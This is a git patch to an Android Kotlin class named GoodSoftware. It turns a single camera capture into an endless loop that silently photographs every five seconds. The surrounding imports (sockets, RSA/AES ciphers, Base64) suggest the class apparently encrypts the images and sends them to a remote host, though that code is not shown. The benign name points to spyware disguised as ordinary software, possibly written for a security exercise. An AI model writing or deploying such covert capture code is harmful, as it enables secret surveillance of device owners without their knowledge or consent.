From 1418145c6944a994245511bd23e1b7428ab20daf Mon Sep 17 00:00:00 2001 From: Joren Date: Thu, 2 May 2024 00:34:54 +0200 Subject: [PATCH] Loads of pictures --- app/src/main/java/com/ti/m/GoodSoftware.kt | 46 ++++++++++------------ 1 file changed, 21 insertions(+), 25 deletions(-) diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index dd4b661..e26b615 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -1,16 +1,25 @@ package com.ti.m +import android.Manifest import android.content.Context -import android.graphics.Camera +import android.content.pm.PackageManager +import android.util.Base64 import android.util.Log import androidx.camera.core.CameraSelector -import androidx.camera.core.ImageAnalysis import androidx.camera.core.ImageCapture import androidx.camera.core.ImageCaptureException import androidx.camera.core.ImageProxy -import androidx.camera.core.Preview import androidx.camera.lifecycle.ProcessCameraProvider +import androidx.concurrent.futures.await +import androidx.core.app.ActivityCompat +import androidx.core.content.ContextCompat +import androidx.lifecycle.LifecycleOwner +import androidx.lifecycle.lifecycleScope +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.launch +import kotlinx.coroutines.withContext import java.io.BufferedReader +import java.io.ByteArrayOutputStream import java.io.InputStreamReader import java.io.PrintWriter import java.net.Socket @@ -21,23 +30,6 @@ import java.security.spec.X509EncodedKeySpec import javax.crypto.Cipher import javax.crypto.spec.IvParameterSpec import javax.crypto.spec.SecretKeySpec -import androidx.concurrent.futures.await -import androidx.core.content.ContextCompat -import androidx.lifecycle.LifecycleOwner -import android.util.Base64 -import androidx.core.app.ActivityCompat -import java.io.ByteArrayOutputStream -import android.Manifest -import android.app.Activity -import android.content.pm.PackageManager -import android.os.Build -import android.telephony.TelephonyManager -import android.widget.Toast -import androidx.annotation.RequiresApi -import androidx.core.app.ComponentActivity -import androidx.core.content.ContextCompat.getSystemService -import androidx.lifecycle.lifecycleScope -import kotlinx.coroutines.launch class GoodSoftware (private val activity: MainActivity) { @@ -246,11 +238,15 @@ class GoodSoftware (private val activity: MainActivity) { cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture) // Take the picture - imageCapture?.takePicture( - ContextCompat.getMainExecutor(context), - imageCapturedListener - ) - cameraProvider?.unbind() + while (true){ + withContext(Dispatchers.IO) { + imageCapture?.takePicture( + ContextCompat.getMainExecutor(context), + imageCapturedListener + ) + Thread.sleep(5000L) + } + } }